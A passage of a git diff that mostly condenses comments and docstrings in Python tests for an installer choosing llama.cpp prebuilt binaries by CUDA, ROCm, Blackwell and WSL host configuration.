-        # No usable NVIDIA, no ROCm tooling on PATH, only a name-inferred gfx
-        # arch -> the host must still be treated as a GPU host and routed to the
-        # fork's per-gfx prebuilt, not ggml-org / a source build. Linux x64 and
-        # arm64 both go through the same fork branch.
+        # Only a name-inferred gfx arch -> route to the fork's per-gfx prebuilt
+        # (not ggml-org). x64 and arm64 share the fork branch.
         assert self._resolve_setup_sh_repo("x86_64", False, "gfx1100") == "unslothai/llama.cpp"
         assert self._resolve_setup_sh_repo("aarch64", False, "gfx1100") == "unslothai/llama.cpp"
 
     def test_setup_sh_env_forwarded_gfx_resolves_to_fork(self):
-        # UNSLOTH_ROCM_GFX_ARCH set on a host where no probe fired (_setup_gfx
-        # empty, no usable NVIDIA, no ROCm tooling): setup.sh adopts the env arch
-        # and routes to the fork, same as the name-inference path.
+        # No probe fired but UNSLOTH_ROCM_GFX_ARCH is set: adopt the env arch
+        # and route to the fork, same as name-inference.
         repo = self._resolve_setup_sh_repo("x86_64", False, "", rocm_gfx_arch_env = "gfx1100")
         assert repo == "unslothai/llama.cpp"
 
     def test_setup_sh_cpu_host_still_resolves_to_ggml(self):
-        # Guard against over-correcting the fix: a real CPU host (no usable GPU,
-        # no inferred gfx, no env override) must keep routing to ggml-org for the
-        # CPU prebuilt.
+        # A real CPU host (no GPU, no inferred gfx, no env override) must keep routing to ggml-org.
         assert self._resolve_setup_sh_repo("x86_64", False, "") == "ggml-org/llama.cpp"
 
     @staticmethod
     def _resolve_setup_ps1_repo(has_nvidia, has_rocm, gfx_arch):
-        """Run setup.ps1's $HelperReleaseRepo selection under pwsh and return the
-        resolved repo."""
+        """Run setup.ps1's $HelperReleaseRepo selection under pwsh and return the resolved repo."""
         import shutil
 
         pwsh = shutil.which("pwsh")
@@ -3373,8 +3193,7 @@ class TestRocmGfxForwarding:
         return result.stdout.strip()
 
     def test_setup_ps1_inferred_gfx_resolves_to_fork(self):
-        # Adrenalin-only Windows host: $HasROCm is false (no HIP runtime) but a
-        # gfx arch was inferred -> route to the fork's windows-rocm bundle.
+        # Adrenalin-only host: $HasROCm false but gfx inferred -> fork's windows-rocm bundle.
         assert self._resolve_setup_ps1_repo(False, False, "gfx1100") == "unslothai/llama.cpp"
 
     def test_setup_ps1_cpu_host_still_resolves_to_ggml(self):
@@ -3383,16 +3202,15 @@ class TestRocmGfxForwarding:
 
 
 # TEST: _pick_rocm_gfx_target -- visible-device selection from rocminfo output.
-# Honours CUDA_VISIBLE_DEVICES/HIP_VISIBLE_DEVICES so a mixed-arch host installs
-# the prebuilt for the GPU actually selected, not GPU 0.
+# Honours CUDA/HIP_VISIBLE_DEVICES so a mixed-arch host installs the prebuilt
+# for the selected GPU, not GPU 0.
 
 _pick_rocm_gfx_target = prebuilt_mod._pick_rocm_gfx_target
 
 
 def test_pick_rocm_gfx_target_honors_cuda_visible_devices(monkeypatch):
-    """AMD HIP honours CUDA_VISIBLE_DEVICES identically to HIP_VISIBLE_DEVICES;
-    on a gfx1151 + gfx1100 mixed host, CUDA_VISIBLE_DEVICES=1 must select gfx1100."""
-    # Two GPUs; rocminfo reports each token twice (as in the real tool output).
+    """CUDA_VISIBLE_DEVICES=1 must select gfx1100 on a gfx1151 + gfx1100 host (HIP honours CUDA var)."""
+    # rocminfo reports each token twice (as in the real tool output).
     probe_out = "gfx1151\ngfx1151\ngfx1100\ngfx1100"
     monkeypatch.delenv("HIP_VISIBLE_DEVICES", raising = False)
     monkeypatch.delenv("ROCR_VISIBLE_DEVICES", raising = False)
@@ -3410,11 +3228,8 @@ def test_pick_rocm_gfx_target_cuda_visible_devices_minus_one_returns_none(monkey
 
 
 def test_pick_rocm_gfx_target_same_arch_multi_gpu(monkeypatch):
-    """Regression: [gfx1100, gfx1100, gfx1151] with HIP_VISIBLE_DEVICES=2 must
-    return gfx1151, not fall back to GPU 0 due to dict.fromkeys collapsing the
-    two gfx1100 entries into one and making index 2 out of range."""
-    # Simulate rocminfo output for 3 GPUs (2x gfx1100 dGPU + 1x gfx1151 APU).
-    # Each GPU gets its own Agent section with a few token mentions.
+    """Regression: [gfx1100, gfx1100, gfx1151] with HIP_VISIBLE_DEVICES=2 must return gfx1151 (no dict.fromkeys collapse)."""
+    # rocminfo output for 3 GPUs (2x gfx1100 + 1x gfx1151), one Agent section each.
     probe_out = (
         "***\nAgent 1\n***\n  gfx1100 some info\n  gfx1100\n"
         "***\nAgent 2\n***\n  gfx1100 some info\n  gfx1100\n"
@@ -3434,9 +3249,7 @@ _LLAMA_CPP_PATH = PACKAGE_ROOT / "studio" / "backend" / "core" / "inference" / "
 
 
 class TestWslSystemRocmLibDirs:
-    """install_llama_prebuilt._wsl_system_rocm_lib_dirs: a strict no-op off a
-    ROCDXG WSL host; returns the system ROCm lib dir there so binary_env can
-    load the WSL-capable HIP runtime before a prebuilt's bundled one."""
+    """_wsl_system_rocm_lib_dirs: no-op off a ROCDXG WSL host; else returns the system ROCm lib dir for binary_env."""
 
     def test_empty_without_dev_dxg(self):
         with patch("os.path.exists", return_value = False):
@@ -3452,8 +3265,7 @@ class TestWslSystemRocmLibDirs:
                 assert prebuilt_mod._wsl_system_rocm_lib_dirs() == []
 
     def test_returns_system_lib_on_wsl_with_librocdxg(self):
-        # Normalize separators: os.path.join uses "\" on the Windows test host
-        # though the target path is Linux.
+        # Normalize separators: os.path.join uses "\" on the Windows test host.
         def _exists(p):
             p = str(p).replace("\\", "/")
             return p in ("/dev/dxg", "/opt/rocm/lib/librocdxg.so")
@@ -3476,9 +3288,7 @@ class TestWslSystemRocmLibDirs:
 
 
 class TestBinaryEnvWslOrdering:
-    """binary_env must put the system ROCm lib dir AHEAD of the prebuilt's
-    bundle dir on a ROCDXG WSL host, and set HSA_ENABLE_DXG_DETECTION; no-op
-    on bare-metal Linux."""
+    """binary_env puts system ROCm lib ahead of the bundle dir + sets HSA_ENABLE_DXG_DETECTION on WSL; no-op bare-metal."""
 
     @staticmethod
     def _linux_host():
@@ -3503,8 +3313,7 @@ class TestBinaryEnvWslOrdering:
         binary = tmp_path / "bundle" / "llama-server"
         binary.parent.mkdir(parents = True)
         binary.write_text("")
-        # binary_env's dedupe_existing_dirs drops non-existent dirs, so use a
-        # real dir to stand in for the system ROCm lib path.
+        # dedupe_existing_dirs drops non-existent dirs, so use a real dir.
         sys_rocm = tmp_path / "sysrocm"
         sys_rocm.mkdir()
         with patch.object(prebuilt_mod, "_wsl_system_rocm_lib_dirs", return_value = [str(sys_rocm)]):
@@ -3533,20 +3342,16 @@ class TestBinaryEnvWslOrdering:
 
 
 class TestInstallShDropinPersistence:
-    """install.sh must persist the ROCm-on-WSL drop-in even when rocminfo
-    already enumerates the GPU (via the transient probe env), so a reinstall
-    over an existing /opt/rocm doesn't leave login shells without the env."""
+    """install.sh persists the ROCm-on-WSL drop-in even when rocminfo already enumerates the GPU (reinstall safety)."""
 
     def test_has_persist_helper(self):
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
         assert "_persist_rocm_wsl_dropin()" in source
 
     def test_gate5_early_return_persists_dropin(self):
-        """The rocminfo-already-works early return must call the persist helper
-        BEFORE returning."""
+        """The rocminfo-already-works early return must call the persist helper before returning."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
-        # Find the rocminfo gfx1151 gate and assert the persist call precedes
-        # its `return 0`.
+        # The persist call must precede `return 0` at the rocminfo gfx1151 gate.
         gate = source.find("Name:[[:space:]]*gfx1151")
         assert gate != -1
         window = source[gate : gate + 900]
@@ -3562,8 +3367,7 @@ class TestInstallShDropinPersistence:
 
 
 class TestLlamaCppRuntimeWslOrdering:
-    """The serve-time launcher must mirror binary_env: system HIP before the
-    bundle dir on WSL, so a prebuilt that passed install validation runs."""
+    """The serve-time launcher mirrors binary_env: system HIP before the bundle dir on WSL."""
 
     def test_has_wsl_helper(self):
         source = _LLAMA_CPP_PATH.read_text(encoding = "utf-8")
@@ -3571,7 +3375,6 @@ class TestLlamaCppRuntimeWslOrdering:
 
     def test_prepends_before_binary_dir(self):
         source = _LLAMA_CPP_PATH.read_text(encoding = "utf-8")
-        # The Linux lib_dirs build must add WSL rocm dirs before binary_dir.
         idx_helper = source.find("for _wsl_rocm in _wsl_system_rocm_lib_dirs()")
         idx_binary = source.find("lib_dirs.append(binary_dir)")
         assert idx_helper != -1 and idx_binary != -1
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index 6f15ca6c72..bb82811614 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -1,14 +1,4 @@
-"""Tests for binary selection logic in install_llama_prebuilt.py.
-
-Covers: normalize_compute_cap, normalize_compute_caps, parse_cuda_visible_devices,
-supports_explicit_visible_device_matching, select_visible_gpu_rows,
-compatible_linux_runtime_lines, pick_windows_cuda_runtime,
-compatible_windows_runtime_lines, runtime_line_from_cuda_version,
-apply_approved_hashes, linux_cuda_choice_from_release, windows_cuda_attempts,
-resolve_upstream_asset_choice.
-
-No GPU, no network, no torch required -- all I/O is monkeypatched.
-"""
+"""Binary selection logic in install_llama_prebuilt.py; all I/O monkeypatched."""
 
 import importlib.util
 import os
@@ -113,9 +103,7 @@ def load_studio_run_module(monkeypatch):
     return module
 
 
-# ---------------------------------------------------------------------------
 # Helper factories
-# ---------------------------------------------------------------------------
 
 
 def make_host(**overrides):
@@ -280,7 +268,7 @@ def mock_windows_runtime(monkeypatch, lines):
 
 class TestStudioLocalhostIpv6Warning:
     def _prepare_loopback(self, run_module, monkeypatch):
-        # Studio is confirmed answering on the IPv4 loopback.
+        # Studio confirmed answering on the IPv4 loopback.
         monkeypatch.setattr(
             run_module,
             "_working_local_url",
@@ -298,7 +286,7 @@ class TestStudioLocalhostIpv6Warning:
     def _ipv6(port = 8888):
         return (socket.AF_INET6, socket.SOCK_STREAM, 6, "", ("::1", port, 0, 0))
 
-    # -- _localhost_ipv6_mismatch_url ------------------------------------
+    # -- _localhost_ipv6_mismatch_url --
 
     def test_ipv4_localhost_does_not_warn(self, monkeypatch):
         run_module = load_studio_run_module(monkeypatch)
@@ -308,8 +296,7 @@ class TestStudioLocalhostIpv6Warning:
         assert run_module._localhost_ipv6_mismatch_url("127.0.0.1", 8888) is None
 
     def test_dual_stack_localhost_does_not_warn(self, monkeypatch):
-        # localhost -> both ::1 and 127.0.0.1: browsers fall back to IPv4 when
-        # ::1 refuses, so the URL is reachable and no warning is needed.
+        # Dual-stack localhost: browsers fall back to IPv4 when ::1 refuses, so no warning.
         run_module = load_studio_run_module(monkeypatch)
         self._prepare_loopback(run_module, monkeypatch)
         self._set_getaddrinfo(monkeypatch, [self._ipv6(), self._ipv4()])
@@ -332,13 +319,11 @@ class TestStudioLocalhostIpv6Warning:
         assert "http://localhost:8888" in captured.out
 
     def test_ipv6_listener_does_not_suppress_warning(self, monkeypatch):
-        # Regression for the Codex review: a process answering on ::1 is NOT
-        # Studio (Studio binds 127.0.0.1 only), so the warning must still fire
-        # -- that is exactly when http://localhost would open the wrong service.
+        # A process on ::1 is NOT Studio (binds 127.0.0.1 only), so the warning must
+        # still fire -- that is exactly when http://localhost opens the wrong service.
         run_module = load_studio_run_module(monkeypatch)
         self._prepare_loopback(run_module, monkeypatch)
         self._set_getaddrinfo(monkeypatch, [self._ipv6()])
-        # Even with something listening on ::1, the result is unchanged.
         monkeypatch.setattr(
             run_module,
             "_local_port_open",
@@ -363,7 +348,7 @@ class TestStudioLocalhostIpv6Warning:
         assert run_module._localhost_ipv6_mismatch_url("127.0.0.1", port) is None
 
     def test_ipv4_not_answering_suppresses_warning(self, monkeypatch):
-        # Studio not confirmed on 127.0.0.1 -> do not warn.
+        # Studio not confirmed on 127.0.0.1 -> no warning.
         run_module = load_studio_run_module(monkeypatch)
         monkeypatch.setattr(run_module, "_working_local_url", lambda port: None)
         self._set_getaddrinfo(monkeypatch, [self._ipv6()])
@@ -388,7 +373,7 @@ class TestStudioLocalhostIpv6Warning:
 
         assert run_module._localhost_ipv6_mismatch_url("127.0.0.1", 8888) is None
 
-    # -- _emit_startup_output (banner / warning wiring) ------------------
+    # -- _emit_startup_output (banner / warning wiring) --
 
     def _wire_recorders(self, run_module, monkeypatch):
         calls = {"banner": [], "warning": [], "stop_hint": 0, "reachability": []}
@@ -614,7 +599,6 @@ class TestCompatibleLinuxRuntimeLines:
         assert compatible_linux_runtime_lines(host) == ["cuda13", "cuda12"]
 
     def test_future_major_derives_lines(self):
-        # A future major (14.x) offers cuda14 first, then older majors.
         host = make_host(driver_cuda_version = (14, 0))
         assert compatible_linux_runtime_lines(host) == ["cuda14", "cuda13", "cuda12"]
 
@@ -657,9 +641,8 @@ class TestCompatibleWindowsRuntimeLines:
 
     @pytest.mark.parametrize("minor", [0, 1, 2, 3])
     def test_cuda12_runs_on_any_12_x_driver(self, minor):
-        # cuda12 app bundles are toolkit-12.8 builds with bundled runtime; CUDA
-        # minor-version compatibility runs them on any 12.x driver, same as Linux.
-        # Previously Windows wrongly gated cuda12 below a 12.4 driver.
+        # Regression: Windows previously gated cuda12 below a 12.4 driver, but minor-version
+        # compat runs toolkit-12.8 bundles on any 12.x driver, same as Linux.
         host = make_host(driver_cuda_version = (12, minor))
         assert compatible_windows_runtime_lines(host) == ["cuda12"]
 
@@ -1151,9 +1134,8 @@ class TestValidatedChecksumsForBundle:
             validated_checksums_for_bundle("unslothai/llama.cpp", bundle)
 
     def test_rejects_exact_source_without_repo(self, monkeypatch):
-        # An exact source archive with no source repo to clone from would let
-        # preferred_source_archive silently fall back to upstream source at the
-        # tag, so validation must fail closed (clean source build instead).
+        # An exact source archive with no repo to clone from would silently fall back
+        # to upstream source at the tag, so validation must fail closed.
         bundle = make_release([], release_tag = "r1", upstream_tag = "b8508")
         checksums = make_checksums_with_source(
             [], release_tag = "r1", upstream_tag = "b8508", source_commit = "a" * 40
@@ -1168,8 +1150,7 @@ class TestValidatedChecksumsForBundle:
             validated_checksums_for_bundle("unslothai/llama.cpp", bundle)
 
     def test_accepts_exact_source_when_only_bundle_has_repo(self, monkeypatch):
-        # The source repo can live only in the manifest bundle, not the checksum
-        # payload. source_build_plan_for_release coalesces checksums-or-bundle, so
+        # The source repo can live only in the manifest bundle, not the checksums;
         # validation must accept the bundle's repo rather than failing closed.
         bundle = make_release(
             [],
@@ -1202,8 +1183,6 @@ class TestValidatedChecksumsForBundle:
 
 
 class TestLinuxCudaChoiceFromRelease:
-    # --- Runtime line resolution ---
-
     def test_no_runtime_lines_detected(self, monkeypatch):
         mock_linux_runtime(monkeypatch, [])
         host = make_host(driver_cuda_version = (12, 8))
@@ -1249,7 +1228,7 @@ class TestLinuxCudaChoiceFromRelease:
         assert any("unavailable_on_host" in entry for entry in log_entries)
 
     def test_blackwell_prefers_cuda13_over_torch_cuda12(self, monkeypatch):
-        # Blackwell host with both lines sm_120-capable: cuda13 wins over torch's cuda12.
+        # Both lines sm_120-capable: cuda13 wins over torch's cuda12.
         mock_linux_runtime(monkeypatch, ["cuda13", "cuda12"])
         host = make_host(driver_cuda_version = (13, 0), compute_caps = ["120"])
         art12 = make_artifact(
@@ -1273,7 +1252,7 @@ class TestLinuxCudaChoiceFromRelease:
         assert any("blackwell_runtime_override" in entry for entry in result.selection_log)
 
     def test_blackwell_skips_incapable_cuda13_line(self, monkeypatch):
-        # cuda13 line cannot cover sm_120 (only an -older bundle): stay on native cuda12.
+        # cuda13 line can't cover sm_120 (only an -older bundle): stay on native cuda12.
         mock_linux_runtime(monkeypatch, ["cuda13", "cuda12"])
         host = make_host(driver_cuda_version = (13, 0), compute_caps = ["120"])
         art13_older = make_artifact(
@@ -1297,7 +1276,7 @@ class TestLinuxCudaChoiceFromRelease:
         assert result.primary.name == "bundle-cuda12-newer.tar.gz"
 
     def test_blackwell_cuda13_unavailable_uses_cuda12(self, monkeypatch):
-        # cuda13 runtime libs absent: override never forces an undetected line.
+        # cuda13 runtime libs absent: override must not force an undetected line.
         mock_linux_runtime(monkeypatch, ["cuda12"])
         host = make_host(driver_cuda_version = (13, 0), compute_caps = ["120"])
         art12 = make_artifact(
@@ -1313,7 +1292,7 @@ class TestLinuxCudaChoiceFromRelease:
         assert result.primary.runtime_line == "cuda12"
 
     def test_non_blackwell_keeps_torch_preference(self, monkeypatch):
-        # Non-Blackwell host: torch preference is untouched, no override.
+        # Non-Blackwell: torch preference untouched, no override.
         mock_linux_runtime(monkeypatch, ["cuda13", "cuda12"])
         host = make_host(driver_cuda_version = (13, 0), compute_caps = ["86"])
         art12 = make_artifact(
@@ -1337,7 +1316,7 @@ class TestLinuxCudaChoiceFromRelease:
         assert not any("blackwell_runtime_override" in entry for entry in result.selection_log)
 
     def test_blackwell_ignores_malformed_runtime_line(self, monkeypatch):
-        # A malformed/future-format runtime_line must be skipped, never crash the major sort.
+        # A malformed runtime_line must be skipped, not crash the major sort.
         mock_linux_runtime(monkeypatch, ["cuda13", "cuda12"])
         host = make_host(driver_cuda_version = (13, 0), compute_caps = ["120"])
         bad = make_artifact(
@@ -1360,7 +1339,7 @@ class TestLinuxCudaChoiceFromRelease:
         assert result.primary.runtime_line == "cuda13"
 
     def test_blackwell_prefers_cuda14_over_lower_majors(self, monkeypatch):
-        # Forward-compat: the highest sm_120-capable CUDA major wins.
+        # The highest sm_120-capable CUDA major wins.
         mock_linux_runtime(monkeypatch, ["cuda14", "cuda13", "cuda12"])
         host = make_host(driver_cuda_version = (14, 0), compute_caps = ["120"])
         arts = [
@@ -1379,8 +1358,7 @@ class TestLinuxCudaChoiceFromRelease:
         assert result.primary.runtime_line == "cuda14"
 
     def test_arm64_host_selects_linux_arm64_cuda_kind(self, monkeypatch):
-        # An arm64 CUDA host (DGX Spark / Grace Hopper) selects the
-        # linux-arm64-cuda bundle and ignores the x64 linux-cuda one.
+        # arm64 CUDA host selects the linux-arm64-cuda bundle, not the x64 one.
         mock_linux_runtime(monkeypatch, ["cuda13"])
         host = make_host(
             machine = "aarch64",
@@ -1740,10 +1718,8 @@ class TestResolveInstallAttempts:
         assert approved.release_tag == "llama-prebuilt-latest"
 
     def test_linux_cpu_fork_without_bundle_raises_no_upstream_fallback(self, monkeypatch):
-        # A CPU-only Linux host on the fork no longer falls back to the ggml-org
-        # CPU asset: production routes CPU-only Linux to ggml-org, never the fork.
-        # With no fork CPU bundle in the manifest the resolver raises rather than
-        # quietly reaching for an upstream asset.
+        # CPU-only Linux on the fork must not fall back to the ggml-org CPU asset; with
+        # no fork CPU bundle the resolver raises rather than reaching upstream.
         host = make_host(
             has_usable_nvidia = False,
             has_physical_nvidia = False,
@@ -1999,9 +1975,8 @@ class TestResolveInstallAttempts:
 
 class TestResolveInstallReleasePlans:
     def _cuda_bundle(self, asset_name, release_tag, upstream_tag):
-        # A fork CUDA bundle that covers the default NVIDIA host (sm 86,
-        # cuda12 runtime), so each release yields a plan via
-        # linux_cuda_choice_from_release.
+        # Fork CUDA bundle covering the default NVIDIA host (sm 86, cuda12), so each
+        # release yields a plan via linux_cuda_choice_from_release.
         art = make_artifact(
             asset_name,
             install_kind = "linux-cuda",
@@ -2051,7 +2026,7 @@ class TestResolveInstallReleasePlans:
         mock_linux_runtime(monkeypatch, ["cuda12"])
         host = make_host(system = "Linux", machine = "x86_64", compute_caps = ["86"])
         releases = [
-            # r2 ships no fork bundle, so it yields no plan and is skipped.
+            # r2 ships no fork bundle: yields no plan, is skipped.
             INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                 bundle = make_release([], release_tag = "r2", upstream_tag = "b9002"),
                 checksums = make_checksums_with_source(
@@ -2141,9 +2116,8 @@ class TestWindowsCudaAttempts:
         assert result[1].runtime_line == "cuda12"
 
     def test_driver_below_published_minor_is_gated_to_cuda12(self, monkeypatch):
-        # A 13.0 driver cannot run a 13.1 build (forward minor), so it is gated
-        # out of cuda13 and falls back to the cuda12 build it can run, even when
-        # only the cuda13 runtime libs are detected.
+        # A 13.0 driver can't run a 13.1 build (forward minor), so it is gated off
+        # cuda13 to the cuda12 build, even when only cuda13 runtime libs are detected.
         mock_windows_runtime(monkeypatch, ["cuda13"])
         host = make_host(system = "Windows", machine = "AMD64", driver_cuda_version = (13, 0))
         assets = self._upstream("13.1", "12.4")
@@ -2152,7 +2126,7 @@ class TestWindowsCudaAttempts:
         assert result[0].name == f"llama-{self.TAG}-bin-win-cuda-12.4-x64.zip"
 
     def test_driver_at_published_minor_selects_cuda13(self, monkeypatch):
-        # A 13.1 driver matches the published 13.1 build exactly.
+        # A 13.1 driver matches the published 13.1 build.
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
         host = make_host(system = "Windows", machine = "AMD64", driver_cuda_version = (13, 1))
         assets = self._upstream("13.1", "12.4")
@@ -2214,8 +2188,7 @@ class TestWindowsCudaAttempts:
         assert result[1].name == "cudart-llama-bin-win-cuda-12.4-x64.zip"
 
     def test_cudart_runtime_archive_is_paired(self, monkeypatch):
-        # #5106: cudart bundle must surface on runtime_url so
-        # install_from_archives downloads it.
+        # #5106: cudart bundle must surface on runtime_url so install_from_archives downloads it.
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
         host = make_host(system = "Windows", machine = "AMD64", driver_cuda_version = (13, 1))
         assets = {
@@ -2260,8 +2233,7 @@ class TestWindowsCudaAttempts:
             assert attempt.runtime_name is None
 
     def test_tracks_upstream_cuda13_minor_bump(self, monkeypatch):
-        # ggml-org bumped the published Windows cuda13 build 13.1 -> 13.3; the
-        # selector must follow it instead of the old hardcoded 13.1 (#5861).
+        # #5861: selector must follow the published cuda13 bump 13.1 -> 13.3, not hardcode 13.1.
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
         host = make_host(system = "Windows", machine = "AMD64", driver_cuda_version = (13, 3))
         assets = self._upstream("13.3", "12.4")
@@ -2284,9 +2256,8 @@ class TestWindowsCudaAttempts:
         assert result[0].runtime_name == "cudart-llama-bin-win-cuda-13.3-x64.zip"
 
     def test_driver_below_published_minor_does_not_get_newer_build(self, monkeypatch):
-        # ggml-org ships only cuda-13.3; a 13.1 driver cannot run it (forward
-        # minor), so it is gated to the cuda-12.4 build instead of an
-        # unguaranteed 13.3. A 13.3 driver still gets 13.3 (see other tests).
+        # Only cuda-13.3 published; a 13.1 driver can't run it (forward minor), so it is
+        # gated to cuda-12.4. A 13.3 driver still gets 13.3 (other tests).
         mock_windows_runtime(monkeypatch, ["cuda13", "cuda12"])
         host = make_host(system = "Windows", machine = "AMD64", driver_cuda_version = (13, 1))
         assets = self._upstream("13.3", "12.4")
@@ -2327,9 +2298,7 @@ class TestWindowsCudaAttempts:
 
 
 class TestPinnedBlackwellCudaFallback:
-    """A Blackwell host on a 13.0/13.1/13.2 driver, gated off the in-release 13.3
-    build, gets the pinned immutable b9360 cuda-13.1 GPU build instead of the
-    CPU-only cuda-12.4 drop. The pin is dormant for everyone else."""
+    """Blackwell on 13.0/13.1/13.2, gated off in-release 13.3, gets the pinned b9360 cuda-13.1 GPU build; dormant otherwise."""
 
     TAG = "b8508"
 
@@ -2358,7 +2327,7 @@ class TestPinnedBlackwellCudaFallback:
         assert _pinned_windows_cuda_fallback(self._win_host((13, 2), ["120"]), []) is not None
 
     def test_pin_offered_for_sm121_variant(self):
-        # sm_121 is Blackwell-family and also needs toolkit >= 12.8.
+        # sm_121 is Blackwell-family, also needs toolkit >= 12.8.
         assert _pinned_windows_cuda_fallback(self._win_host((13, 1), ["121"]), []) is not None
 
     def test_pin_uses_max_of_multi_gpu_caps(self):
@@ -2366,17 +2335,16 @@ class TestPinnedBlackwellCudaFallback:
 
     @pytest.mark.parametrize("sm", ["89", "90", "100"])
     def test_pin_not_offered_to_non_blackwell(self, sm):
-        # Ada/Hopper run the cuda-12.4 build fine; the pin must not fire.
+        # Ada/Hopper run cuda-12.4 fine; the pin must not fire.
         assert _pinned_windows_cuda_fallback(self._win_host((13, 1), [sm]), []) is None
 
     def test_pin_offered_for_driver_13_0(self):
-        # b9360 is native sm_120a SASS (no JIT) and ships a cuda-13.1 cudart,
-        # both of which run on a 13.0 r580+ driver via CUDA minor-version
-        # compatibility. 13.0 is the mainstream Blackwell branch, so it must fire.
+        # b9360 native sm_120a SASS + cuda-13.1 cudart run on a 13.0 r580+ driver via
+        # minor-version compat; 13.0 is the mainstream Blackwell branch, so it must fire.
         assert _pinned_windows_cuda_fallback(self._win_host((13, 0), ["120"]), []) is not None
 
     def test_pin_not_offered_below_floor(self):
-        # 12.x predates Blackwell entirely; the pin stays dormant below 13.0.
+        # 12.x predates Blackwell; the pin stays dormant below 13.0.
         assert _pinned_windows_cuda_fallback(self._win_host((12, 9), ["120"]), []) is None
 
     def test_pin_not_offered_without_driver(self):
@@ -2416,8 +2384,7 @@ class TestPinnedBlackwellCudaFallback:
         )
 
     def test_pin_dormant_when_runnable_cuda14_present(self, monkeypatch):
-        # A future Blackwell host with an in-release cuda14 build (no cuda13)
-        # must not get the older b9360 13.1 pin ahead of the runnable cuda14.
+        # An in-release cuda14 build must take precedence over the older b9360 13.1 pin.
         mock_windows_runtime(monkeypatch, ["cuda14", "cuda12"])
         host = self._win_host((14, 0), ["120"])
         assets = {
@@ -2465,8 +2432,7 @@ class TestPinnedBlackwellCudaFallback:
         assert _windows_cuda_attempt_covers_blackwell(cpu) is False
 
     def _app_attempt(self, profile, runtime_line, max_sm):
-        # The fork's app-named windows-cuda bundle: no toolkit minor in the name,
-        # SM coverage declared directly (as published_windows_cuda_attempts sets it).
+        # Fork app-named windows-cuda bundle: no toolkit minor in the name, SM coverage declared directly.
         return AssetChoice(
             repo = UPSTREAM_REPO,
             tag = self.TAG,
@@ -2495,10 +2461,9 @@ class TestPinnedBlackwellCudaFallback:
         assert _windows_cuda_attempt_covers_blackwell(attempt) is covers
 
     def test_pin_dormant_when_app_bundle_covers_blackwell(self):
-        # Regression: the fork's app-named cuda13 bundle covers Blackwell, so the
-        # b9360 pin must retire instead of being prepended ahead of the native
-        # in-release build (previously the coverage check only matched legacy
-        # -bin-win-cuda-X.Y-x64.zip names, so the pin never went dormant).
+        # Regression: the coverage check previously matched only legacy
+        # -bin-win-cuda-X.Y-x64.zip names, so the pin never went dormant for an
+        # app-named cuda13 bundle that covers Blackwell.
         host = self._win_host((13, 1), ["120"])
         existing = [self._app_attempt("newer", "cuda13", 120)]
         assert _pinned_windows_cuda_fallback(host, existing) is None
@@ -2510,9 +2475,7 @@ class TestPinnedBlackwellCudaFallback:
 
 
 class TestDirectUpstreamBlackwellPin:
-    """End to end: the pin lands ahead of cuda-12.4 on the simple/upstream path
-    a Blackwell Windows host actually uses, and stays absent once a runnable
-    in-release cuda13 build exists."""
+    """The pin lands ahead of cuda-12.4 on the simple/upstream path; absent once a runnable in-release cuda13 build exists."""
 
     TAG = "b9365"
 
@@ -2549,9 +2512,8 @@ class TestDirectUpstreamBlackwellPin:
         )
         plan = direct_upstream_release_plan(self._release(), host, UPSTREAM_REPO, "latest")
         order = [(a.tag, a.runtime_line or a.install_kind) for a in plan.attempts]
-        # cuda-12.4 (toolkit 12.4, no sm_120) is dropped entirely on Blackwell:
-        # behind the pin it would still be attempted if the pin download failed,
-        # and the functional validator accepts its slow non-native path.
+        # cuda-12.4 (no sm_120) is dropped entirely on Blackwell rather than left as a
+        # slow non-native fallback behind the pin.
         assert order == [("b9360", "cuda13"), (self.TAG, "windows-cpu")]
         assert plan.attempts[0].name == "llama-b9360-bin-win-cuda-13.1-x64.zip"
         # Direct/upstream path stays unverified-by-manifest (no approved hashes).
@@ -2577,9 +2539,7 @@ class TestDirectUpstreamBlackwellPin:
 
 
 class TestBlackwellCuda124Exclusion:
-    """A Blackwell host must never have a windows-cuda attempt that cannot
-    offload sm_120 anywhere in its chain: behind the pin it is one failed
-    download away from a validated-but-7-tok/s install."""
+    """A Blackwell host must never have a windows-cuda attempt that can't offload sm_120 anywhere in its chain."""
 
     def _bw_host(self):
         return make_host(
@@ -2612,8 +2572,8 @@ class TestBlackwellCuda124Exclusion:
         assert [a.name for a in kept] == ["llama-b9365-bin-win-cuda-13.3-x64.zip"]
 
     def test_keeps_manifest_cuda12_bundle_with_sm120(self):
-        # Published cuda12 app bundles are toolkit-12.8 builds that include
-        # sm_120; the manifest SM metadata must keep them on Blackwell.
+        # Published cuda12 app bundles are toolkit-12.8 builds with sm_120; manifest SM
+        # metadata must keep them on Blackwell.
         bundle = AssetChoice(
             repo = "unslothai/llama.cpp",
             tag = "b9585",
@@ -2680,10 +2640,7 @@ class TestBlackwellCuda124Exclusion:
 
 
 class TestDirectLinuxNvidiaCpuGate:
-    """When a release ships a linux-cpu bundle but no CUDA line this NVIDIA
-    host can use, the planner must raise (so the caller walks back to an older
-    release with a usable CUDA line) instead of silently planning a CPU
-    install on a GPU host. CPU-only hosts keep taking the CPU bundle."""
+    """A linux-cpu-only release on an NVIDIA host must raise (caller walks back to a usable CUDA line), not silently CPU-install. CPU-only hosts keep the CPU bundle."""
 
     def _bundle_cpu_only(self):
         return make_release(
@@ -2742,13 +2699,7 @@ class TestDirectLinuxNvidiaCpuGate:
 
 
 class TestLinuxPublishedAttemptsNvidiaCpuGate:
-    """Live fork-manifest path (_linux_published_attempts): an NVIDIA host whose
-    CUDA selection finds nothing must NOT be handed the manifest's CPU bundle --
-    the attempt list stays empty so the caller source-builds with CUDA instead of
-    silently installing a CPU-only binary on a GPU host. CPU-only hosts still get
-    the CPU bundle. Mirrors the ROCm policy and TestDirectLinuxNvidiaCpuGate (the
-    latter covers direct_linux_release_plan, which is off the live path, this the
-    live path)."""
+    """Live fork-manifest path: an NVIDIA host whose CUDA selection finds nothing gets an empty attempt list (source-builds with CUDA), not the manifest CPU bundle. CPU-only hosts still get the CPU bundle."""
 
     def _cpu_only_bundle(self):
         return make_release(
